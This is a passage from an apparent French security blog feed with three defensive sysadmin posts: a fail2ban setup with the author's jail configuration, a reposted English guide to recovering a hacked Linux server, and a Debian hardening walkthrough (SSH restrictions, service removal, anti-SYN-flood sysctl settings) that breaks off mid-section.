<p>On peux installer fail2ban après avoir maj les listes de packages</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># apt-get update<br />
# apt-get install fail2ban</div></td></tr></tbody></table></div>
<p>Passons à la config fail2ban. Depuis je ne sais plus quelle version elle ne se fait plusdans le fichier jail.conf (j&#8217;ai d&nbsp;&raquo;ailleurs galéré car tous les tutos sur le net parlent de ce fichier). Elle se fera dans un fichier jail.local qui supplante les instructions de jail.conf, Ce dernier pouvant être modifié par une Maj&#8230;<br />
Voici donc mon fichier jail.conf, qui est &#8211; je le rapelle car c&#8217;est très important &#8211; le seul a modifier !<br />
<span id="more-14"></span></p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># Fail2Ban conf for aemeth.org<br />
# par Adrien Pujol &lt;thepolux@gmail.com&gt;<br />
#----- CONFIGURATION GENERALE ------------------------------------------#<br />
[DEFAULT]<br />
# Adresse mail ou envoyer les informations<br />
destemail = thepolux@gmail.com<br />
# White list<br />
ignoreip &nbsp;= 127.0.0.1<br />
# Reglages par défaut !<br />
bantime &nbsp; = 3600<br />
maxretry &nbsp;= 3<br />
findtime &nbsp;= 300<br />
# Backend<br />
backend &nbsp; = polling<br />
# Ban action ..<br />
banaction = iptables-multiport<br />
# Action par défaut !<br />
action &nbsp; &nbsp;= %(action_mwl)s<br />
#----- SERVICES A SURVEILLER -----------------------------------#<br />
[ssh]<br />
enabled &nbsp; = true<br />
[apache]<br />
enabled &nbsp; = true<br />
maxretry &nbsp;= 5<br />
[apache-noscript]<br />
enabled &nbsp; = true<br />
port &nbsp; &nbsp; &nbsp;= http<br />
filter &nbsp; &nbsp;= apache-noscript<br />
logpath &nbsp; = /var/log/apache*/*error.log<br />
maxretry &nbsp;= 6<br />
[proftpd]<br />
enabled &nbsp; = true<br />
logpath &nbsp; = /var/log/auth.log<br />
[postfix]<br />
enabled &nbsp; = true<br />
[courierauth]<br />
enabled &nbsp; = true<br />
[sasl]<br />
enabled &nbsp; = true</div></td></tr></tbody></table></div>
<p>C&#8217;est ici mon fichier de config, ajusté en fonction de mes besoins&#8230; ce n&#8217;est pas forcément ce qu&#8217;il vous faut ! Ajustez en conséquence !<br />
Tout est suffisament commenté pour que je n&#8217;ai pas besoin d&#8217;en dire plus ;)</p>
<p>On redémarre fail2ban-client :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># fail2ban-client stop<br />
Shutdown successful<br />
# fail2ban-client start</div></td></tr></tbody></table></div>
<p>On vérifie comme ceci :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># fail2ban-client -d<br />
['set', 'loglevel', 3]<br />
['set', 'logtarget', '/var/log/fail2ban.log']<br />
['add', 'apache-noscript', 'polling']<br />
['set', 'apache-noscript', 'addlogpath', '/var/log/apache2/error.log']<br />
['set', 'apache-noscript', 'addlogpath', '/var/log/apache2/files_error.log']<br />
['set', 'apache-noscript', 'maxretry', 6]<br />
['set', 'apache-noscript', 'addignoreip', '127.0.0.1']<br />
['set', 'apache-noscript', 'findtime', 300]<br />
['set', 'apache-noscript', 'bantime', 3600]<br />
... <br />
[Fail2Ban] &lt;name&gt;: started&quot; &lt;dest&gt;']<br />
['set', 'courierauth', 'actionunban', 'mail-whois-lines', '']<br />
['set', 'courierauth', 'actioncheck', 'mail-whois-lines', '']<br />
['set', 'courierauth', 'setcinfo', 'mail-whois-lines', 'dest', 'thepolux@gmail.com']<br />
['set', 'courierauth', 'setcinfo', 'mail-whois-lines', 'logpath', '/var/log/mail.log']<br />
['set', 'courierauth', 'setcinfo', 'mail-whois-lines', 'name', 'courierauth']<br />
['start', 'apache-noscript']<br />
['start', 'postfix']<br />
['start', 'proftpd']<br />
['start', 'ssh']<br />
['start', 'sasl']<br />
['start', 'apache']<br />
['start', 'courierauth']</div></td></tr></tbody></table></div>
<p>Et encore comme ça:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># iptables -L | grep fail2ban<br />
fail2ban-courierauth &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports smtp,ssmtp,imap2,imap3,imaps,pop3,pop3s<br />
fail2ban-apache &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports www,https<br />
fail2ban-ssh &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports ssh,sftp<br />
fail2ban-proftpd &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports ftp,ftp-data,ftps,ftps-data<br />
fail2ban-postfix &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports smtp,ssmtp<br />
fail2ban-courierauth &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports smtp,ssmtp,imap2,imap3,imaps,pop3,pop3s<br />
fail2ban-apache &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports www,https<br />
fail2ban-ssh &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports ssh,sftp<br />
fail2ban-couriersmtp &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports smtp,ssmtp<br />
fail2ban-ssh-ddos &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports ssh,sftp<br />
fail2ban-proftpd &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports ftp,ftp-data,ftps,ftps-data<br />
fail2ban-postfix &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports smtp,ssmtp<br />
fail2ban-apache-noscript &nbsp;tcp &nbsp;-- &nbsp;anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; anywhere &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;multiport dports www,https<br />
Chain fail2ban-apache (2 references)<br />
Chain fail2ban-apache-noscript (1 references)<br />
Chain fail2ban-courierauth (2 references)<br />
Chain fail2ban-couriersmtp (1 references)<br />
Chain fail2ban-postfix (2 references)<br />
Chain fail2ban-proftpd (2 references)<br />
Chain fail2ban-ssh (2 references)<br />
Chain fail2ban-ssh-ddos (1 references)</div></td></tr></tbody></table></div>
<p>Ok, ça roule ! :]</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/installer-fail2ban-08x-sur-une-deb-14/feed/</wfw:commentRss>
<slash:comments>2</slash:comments>
</item>
<item>
<title>[En] How to restore a hacked Linux server</title>
<link>http://www.crashdump.fr/securite/en-how-to-restore-a-hacked-linux-server-13/</link>
<comments>http://www.crashdump.fr/securite/en-how-to-restore-a-hacked-linux-server-13/#comments</comments>
<pubDate>Mon, 04 Jun 2007 19:20:43 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[attacker]]>
</category>
<category>
<![CDATA[Dell]]>
</category>
<category>
<![CDATA[detection tools]]>
</category>
<category>
<![CDATA[linux]]>
</category>
<category>
<![CDATA[Linux system]]>
</category>
<category>
<![CDATA[rootkit detections tools]]>
</category>
<category>
<![CDATA[vulnerable web application]]>
</category>
<category>
<![CDATA[web application]]>
</category>
<category>
<![CDATA[web server]]>
</category>
<category>
<![CDATA[web service]]>
</category>
<category>
<![CDATA[web user]]>
</category>
<guid isPermaLink="false">http://blog.aemeth.org/?p=13</guid>
<description>
<![CDATA[Copié depuis le site: http://www.ducea.com/2006/07/17/how-to-restore-a-hacked-linux-server/ Every sysadmin will try its best to secure the system/s he is managing. Hopefully you never had to restore your own system from a compromise and you will not have to do this in the future. Working on several projects to restore a compromised Linux system for various clients, I [...]]]>
</description>
<content:encoded>
<![CDATA[<p><strong>Copié depuis le site: <a rel="nofollow" href="http://www.ducea.com/2006/07/17/how-to-restore-a-hacked-linux-server/">http://www.ducea.com/2006/07/17/how-to-restore-a-hacked-linux-server/</a></strong></p>
<p>Every sysadmin will try its best to secure the system/s he is managing. Hopefully you never had to restore your own system from a compromise and you will not have to do this in the future. Working on several projects to restore a compromised Linux system for various clients, I have developed a set of rules that others might find useful in similar situations. The type of hacks encountered can be very variate and you might see very different ones than the one I will present, or I have seen live, but even so, this rules might be used as a starting point to develop your own recovery plan.</p>
<p>In most cases if you have a system compromise at root level, you will hear that you have to fully reinstall the system and start fresh because it will be very hard to remove all the hidden files the attacker has placed on the system. This is completely true and if you can afford to do this then you should do it. Still even in this case the compromised system contains valuable information that can be used to understand the attack and prevent it in the future.</p>
<p><strong>Here is a short overview of the steps that I will present:</strong></p>
<p>    * Don’t panic. Keep your calm and develop a plan of actions<br />
    * Disconnect the system from the network<br />
    * Discover the method used to compromise the system<br />
    * Stop all the attacker scripts and remove his files<br />
    * Restore not affected services<br />
    * Fix the problem that caused the compromise<br />
    * Restore the affected services<br />
    * Monitor the system</p>
<p><strong>Don’t panic. Keep your calm and develop a plan of actions.</strong><br />
<span id="more-13"></span><br />
Ok. You have just found out that you have to restore a hacked system. My first suggestion is to remain calm. Don’t rush and do something you will regret later. Why? Of course you will have to take action as soon as possible, but you can assume that the compromise is probably active for some time and if you act in second 1 or minute 10 this will probably not make much of a difference. If you have experience with such situations and have a proper plan in your mind, go for it, and don’t waste any time. If not, just relax, take 5 minutes to think about what you should do and how to solve this problem.<br />
Example of bad actions during this time: you will rush and kill all the running scripts the attacker has launched and then have a timeout when you will think what to do next… In this time the attacker might see you have discovered him (for example from his irc bot, etc.) and might become upset and clean up the system for you…<br />
Of course you should not go on with your planned trip and take care of this when you get back, I am just saying to use 5-10 minutes to think on this and develop a short action plan. There should be no timeout in your actions and you should always know what is the next step.</p>
<p><strong>Disconnect the system from the network</strong></p>
<p>This might not always be possible. But if you have physical access to the system or even if you are remotely on a system in a datacenter that provides a way to connect from a console (either a regular remote console, or a KVM, or a DRAC card in Dell servers, etc.), then this should be the next step. Connect to the remote console and bring down the network interface.<br />
If you don’t have a remote console, here are some other ideas: you might be able to rent a KVM for a limited time from your datacenter, or you might have to write some iptables rules to block any kind of access besides your own IP.<br />
After this your system will appear down to everyone, including the attacker that will see that the system is completely down.<br />
Discover the method used to compromise the system</p>
<p>This step in my opinion is the most important one and you should not proceed any further until you have a proper answer to the question: “How did the attacker get in?” This step will be probably the most time consuming as the type of attacks can be quite variate. Still if you don’t find out how the attacker got in, then you will risk that you place the system online and he will be able to compromise the system in a matter of minutes. And this time he might not be so nice and you will not have anything to restore… So even if there is not a general method for this, here are some ideas to get you started:</p>
<p><em>Depending from what tools you have already configured, you need to identify the files uploaded on the system:</em></p>
<p>    * if you have a system like tripwire configured use it to find out what files where added/changed.<br />
    * if you don’t have any such system installed, you might have to use the find command to search for the files newer than x days that were added to the system (also changed files in the respective interval).</p>
<p><em>Who owns the uploaded files?</em></p>
<p>    * finding out the owner of the files will probably show you what application was used to get in. For example files uploaded as the web user will indicate that the web service was used to get in.</p>
<p><em>Investigate the uploaded files.</em></p>
<p>    * the files that were uploaded on the system might provide valuable information about the attack. For example the attacker might use the same exploit to attack other systems from your compromised server. This can quickly show you what exploit he is using.</p>
<p><em>Get as much information from the running scripts launched by the attacker.</em></p>
<p>    * as you have seen I have not recommended to stop yet the running scripts that the attacker might have launched. Why? Because they contain invaluable information to identify the attack. Use lsof on them (lsof -p PID) to see useful details. Where are they located? what user owns them? You might find the source of the attack from this information.</p>
<p><em>Use Rootkit detection tools.</em></p>
<p>    * you might want to run some rootkit detections tools like rkhunter or chkrootkit to quickly identify common attacks.</p>
<p><em>Investigate system logs.</em></p>
<p>    * with the information gathered by now you might reduce the size of the log information you have to investigate.</p>
<p>Hopefully you have found the source of the attack by now. Again this is very dependent of the type of attack. The most common one you might see these days is an exploit using a vulnerable web application and an attacker that will launch various scripts (irc bots, scanning tools, attacks on other systems, etc.). Still you might see something different like an attacker not launching any script, loading kernel modules to hide its tracks, to make it more difficult to identify or even see the compromise.</p>
<p><strong>Stop all the attacker scripts and remove his files</strong></p>
<p>Once you have identified the cause of the attack you can safely kill all the running scripts launched by the attacker and remove all his files (save them in a different location for further investigation). At this point we no longer need the scripts running as we got the information we could find from them. The system is still unavailable at this point and no service is available to the world.</p>
<p>Don’t forget to clean-up also the locations that the attacker might have entered to start his scripts on system reboot. Look in init scripts, rc.local, cron tabs for this.</p>
<p><strong>Restore not affected services</strong></p>
<p>Once we know the service used for the attack we can stop it and restore the network connection and all the unaffected services the system might provide. For example if the web server was used to get in, we can stop it, and restore other services like mail, dns, to minimize the downtime of the system.</p>
<p><strong>Fix the problem that caused the compromise</strong></p>
<p>Before starting the service used to compromise the system you should fix the problem so this will not happen again once the service is open to the public… Depending on the problem this might involve: patching a vulnerable daemon, upgrading a vulnerable web application (or temporary disable it), writing some special rulers to block it (for ex. mod_security rules might help in case of no patch available for a web application), etc.<br />
Restore the affected services</p>
<p><em>Once you have fixed the problem you can restart the service used to get inside the system.</em></p>
<p><strong>Monitor the system</strong></p>
<p>Now is the time to monitor closely the system and see if the fix you have implemented is working. Most certainly the attacker will try to get in again as he will see he has ‘lost’ the system. If you notice any problem stop the service at once and reiterate again to the step to fix the problem (stop the service, fix it, restore it).</p>
<p><strong>Conclusion</strong></p>
<p>These steps are obviously not usable all the time because of the variety of attacks you might encounter, but they can be used as a baseline to develop your own plan of actions. Again in such situations, keep your calm, don’t rush, and work to restore the system based on a clear set of steps.<br />
If you had similar experiences please feel free to share your own tips to help others that might find themselves in such a situation. </p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/en-how-to-restore-a-hacked-linux-server-13/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
</item>
<item>
<title>Sécuriser sa débian</title>
<link>http://www.crashdump.fr/securite/securiser-sa-debian-15/</link>
<comments>http://www.crashdump.fr/securite/securiser-sa-debian-15/#comments</comments>
<pubDate>Sat, 12 May 2007 17:09:46 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<guid isPermaLink="false">http://blog.aemeth.org/?p=15</guid>
<description>
<![CDATA[Introduction Le but de ce document est de fournir quelques astuces pour sécuriser sa Débian. Le minimum Moins il y a de services qui fonctionnent, mois la machine est sensible aux attaques, et évidement, plus elle est performante. Vous ne gagnerez pas beaucoup en désactivant quelques services non utilisé, mais c&#8217;est toujours ca de gagné. [...]]]>
</description>
<content:encoded>
<![CDATA[<h2>
<li>Introduction</li>
</h2>
<p><em>Le but de ce document est de fournir quelques astuces pour sécuriser sa Débian.</em></p>
<h2>
<li>Le minimum</li>
</h2>
<p>Moins il y a de services qui fonctionnent, mois la machine est sensible aux attaques, et évidement, plus elle est performante. Vous ne gagnerez pas beaucoup en désactivant quelques services non utilisé, mais c&#8217;est toujours ca de gagné. Le fait d&#8217;avoir une installation propre rend l&#8217;administration plus agréable et plus efficace :)</p>
<p>Commencons déja par mettre à jours notre distribution. Pour plus de sécurité, si vous êtes vraiment très frileux, restez en &laquo;&nbsp;stable&nbsp;&raquo;, sinon vous pouvez passer sans trop de crainte en &laquo;&nbsp;unstable&nbsp;&raquo; afin d&#8217;avoir des mises à jours des packages plus régulieres pour vos applications.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># vi &nbsp;/etc/apt/sources.list<br />
deb http://debian-mirror.dedibox.fr/debian/ unstable main<br />
deb-src http://debian-mirror.dedibox.fr/debian/ unstable main<br />
deb http://security.debian.org/ stable/updates main</div></td></tr></tbody></table></div>
<p>Nous gardons ici les mirroirs dédibox, pour bénéficier de la bonne bande passante :)<br />
Penser a executer   # apt-get update    si vous modifier le fichier: /etc/apt/sources.list</p>
<p>Pensez à ne jamais dire &laquo;&nbsp;oui/yes&nbsp;&raquo; lorsqu&#8217;on vous propose de passer un applicatif en suid.<br />
<span id="more-15"></span><br />
Continuons par supprimer les services/packages non nécessaire:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># apt-get remove --assume-yes --force-yes lpr nfs-common portmap pidentd pcmcia-cs pppoe pppoeconf ppp pppconfig<br />
# apt-get remove portmap<br />
# update-rc.d -f inetd remove<br />
# update-rc.d -f ppp remove<br />
# update-rc.d -f atd remove</div></td></tr></tbody></table></div>
<p>Vous remarquerez que je n&#8217;utilise pas atd &#8230; cela n&#8217;engage que moi :)</p>
<p>Notons que la plupart des services fonctionnent de nos jours en standalone, donc sauf cas particulier de controle au niveau des connexions  (que vous pouvez faire par exemple avec iptables la plupart du temps) inetd n&#8217;est pour moi plus nécessaire. On va tout de même le laisser installer, de toute manière il installera un autre super demon si on tente de le supprimer.</p>
<p>Petite touche personnelle, qui n&#8217;apporte rien à la sécurité, mais étant donné que c&#8217;est un dédié en location, rien ne sert d&#8217;avoir 25 consoles de disponibles, donc:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># vi /etc/inittab</div></td></tr></tbody></table></div>
<p>et modifier les lignes suivantes:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">1:2345:respawn:/sbin/getty 38400 tty1<br />
#2:23:respawn:/sbin/getty 38400 tty2<br />
#3:23:respawn:/sbin/getty 38400 tty3<br />
#4:23:respawn:/sbin/getty 38400 tty4<br />
#5:23:respawn:/sbin/getty 38400 tty5<br />
#6:23:respawn:/sbin/getty 38400 tty6</div></td></tr></tbody></table></div>
<p>Vous gagnerez un peu de mémoire, c&#8217;est toujours ca de fait.</p>
<p>Il faut bien évidement rebooter la machine ou lancer un &laquo;&nbsp;init q&nbsp;&raquo; (merci Sunix) pour que ce soit pris en compte </p>
<h2>
<li>sshd</li>
</h2>
<p>Un des premiers reflexes à avoir avec SSH est de désactiver la connexion pour root. Cela se fait simplement, en modifiant /etc/ssh/sshd_config avec la ligne suivante suivante:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">PermitRootLogin no</div></td></tr></tbody></table></div>
<p>Si vous poussèdez plusieurs utilisateurs systèmes, mais pour des raisons obscures vous ne voulez pas qu&#8217;ils puissent se connecter via SSH, vous avez la possibilité via la directive AllowUsers de spécifier qui à le droit de se connecter en SSH. Il existe aussi la directive AllowGroups, pour appliquer cette restriction aux groupes d&#8217;utilisteurs.</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">AllowUsers toto</div></td></tr></tbody></table></div>
<p>Vous pouvez de plus spécifier l&#8217;host, sous la forme user@host. SSH vérifira donc la provenance, ce qui permet de rajouter une sécurité simplémentaire.</p>
<p>A noter qu&#8217;il existe les directives DenyUsers et DenyGroups, pour faire l&#8217;inverse.</p>
<h2>
<li>/proc, ou comment titiller le kernel</li>
</h2>
<p>Je ne rentrerais pas dans les détails, ce n&#8217;est pas le but, mais voici quelques modifications que vous pouvez apporter à votre machine pour la sécuriser et la rendre plus stable.</p>
<p>Il existe bien d&#8217;autres valeurs à modifier/changer pour tweaker son systeme, cela n&#8217;est qu&#8217;un échantillon de ce qu&#8217;il est possible de faire avec sysctl.</p>
<p><strong>Smurf Attack</strong></p>
<p>Se protéger contre les Smurf Attack:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># echo &quot;1&quot; &gt; /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts</div></td></tr></tbody></table></div>
<p>Ressources:</p>
<p>   * <a rel="nofollow" href="http://www.cert.org/advisories/CA-1998-01.html">http://www.cert.org/advisories/CA-1998-01.html</a><br />
   * <a rel="nofollow" href="http://en.wikipedia.org/wiki/Smurf_attack">http://en.wikipedia.org/wiki/Smurf_attack</a><br />
   * <a rel="nofollow" href="http://www.networksorcery.com/enp/protocol/icmp/msg0.htm">http://www.networksorcery.com/enp/protocol/icmp/msg0.htm</a><br />
   * <a rel="nofollow" href="http://en.wikipedia.org/wiki/ICMP_Echo_Reply">http://en.wikipedia.org/wiki/ICMP_Echo_Reply</a><br />
   * <a rel="nofollow" href="http://www.cert.org/tech_tips/denial_of_service.html">http://www.cert.org/tech_tips/denial_of_service.html</a><br />
   * <a rel="nofollow" href="http://en.wikipedia.org/wiki/Denial_of_service">http://en.wikipedia.org/wiki/Denial_of_service</a></p>
<p><strong>Source routing</strong></p>
<p>Eviter le source routing:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># echo &quot;0&quot; &gt; /proc/sys/net/ipv4/conf/all/accept_source_route</div></td></tr></tbody></table></div>
<p>Ressources:</p>
<p>   * <a rel="nofollow" href="http://www.iss.net/security_center/advice/Underground/Hacking/Methods/Technical/Source_Routing/default.htm">http://www.iss.net/&#8230;/Underground/Hacking/Methods/Technical/Source_Routing/default.htm</a></p>
<p><strong>Syn Flood</strong></p>
<p>Se protéger des attaques de type Syn Flood:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># echo &quot;1&quot; &gt; /proc/sys/net/ipv4/tcp_syncookies<br />
# echo &quot;1024&quot; &gt; /proc/sys/net/ipv4/tcp_max_syn_backlog<br />
# echo &quot;1&quot; &gt; /proc/sys/net/ipv4/conf/all/rp_filter</div></td></tr></tbody></table></div>
<p>Ressources:</p>
<p>   * <a rel="nofollow" href="http://www.cert.org/advisories/CA-1996-21.html">http://www.cert.org/advisories/CA-1996-21.html</a><br />
   * <a rel="nofollow" href="http://www.iss.net/security_center/advice/Exploits/TCP/SYN_flood/default.htm">http://www.iss.net/security_center/advice/Exploits/TCP/SYN_flood/default.htm</a><br />
   * Documentation du kernel: Documentation/networking/ip-sysctl.txt</p>
<p><strong>Redirects</strong></p>
<p>Désactivez l&#8217;autorisation des redirections ICMP:</p>
